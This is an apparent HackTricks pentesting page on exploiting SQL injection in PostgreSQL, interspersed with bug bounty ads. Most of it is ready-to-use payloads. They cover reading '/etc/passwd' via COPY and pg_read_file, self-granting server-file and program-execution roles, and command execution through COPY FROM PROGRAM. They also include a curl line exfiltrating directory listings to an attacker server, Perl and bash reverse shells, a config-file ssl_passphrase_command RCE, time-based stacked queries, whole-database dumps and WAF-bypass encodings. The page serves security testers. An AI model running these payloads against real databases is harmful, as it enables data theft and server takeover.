PostgreSQL injection
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
dblink is a PostgreSQL module that offers several interesting options from the attacker point of view. It can be used to connect to other PostgreSQL instances of perform TCP connections.
These functionalities along with the COPY FROM functionality can be used to escalate privileges, perform port scanning or grab NTLM challenge responses.
You can read here how to perform these attacked.You can read this example to see a CTF example of how to load data inside large objects and then exfiltrate the content of large objects inside the username of the function
dblink_connect.PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials. Read this to learn how.
From this commit members of the defined
DEFAULT_ROLE_READ_SERVER_FILES group (called pg_read_server_files) and super users can use the COPY method on any path (check out convert_and_check_filename in genfile.c):# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_read_server_files TO username;
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Only super users and members of
pg_read_server_files can use copy to write files.copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Remember that if you aren't super user but has the
CREATEROLE permissions you can make yourself member of that group:GRANT pg_write_server_files TO username;
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that
copy cannot be used to write binary files as it modify some binary values.However, there are other techniques to upload big binary files.
Read this page to learn how to do it.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
Since version 9.3, only super users and member of the group
pg_execute_server_program can use copy for RCE (example with exfiltration:'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Example to exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Remember that if you aren't super user but has the
CREATEROLE permissions you can make yourself member of that group:GRANT pg_execute_server_program TO username;
Or use the
multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
Lear how to abuse this functionality reading this post.
The configuration file of postgresql is writable by the postgres user which is the one running the database, so as superuser you can write files in the filesystem, and therefore you can overwrite this file.
The configuration file have some interesting attributes that can lead to RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Path to the private key of the databasessl_passphrase_command = ''If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.ssl_passphrase_command_supports_reload = offIf this attribute is on the command executed if the key is protected by password will be executed whenpg_reload_conf()is executed.
Then, an attacker will need to:
- 1.Dump private key from the server
- 2.Encrypt downloaded private key:
- 1.
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- 3.Overwrite
- 4.Dump the current postgresql configuration
- 5.Overwrite the configuration with the mentioned attributes configuration:
- 1.
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"' - 2.
ssl_passphrase_command_supports_reload = on
- 6.Execute
pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.
Manipulating strings could help you to bypass WAFs or other restrictions.
In this page you can find some useful Strings functions.
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
query_to_xml
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
SELECT database_to_xml(true,true,'');
If you can run queries passing them inside a string (for example using the
query_to_xml function). You can use the convert_from to pass the string as hex and bypass filters this way:select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
If cannot use quotes for your payload you could bypass this with
CHR for basic clauses (character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements):SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Or with
$. This queries return the same results:SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
Last modified 30d ago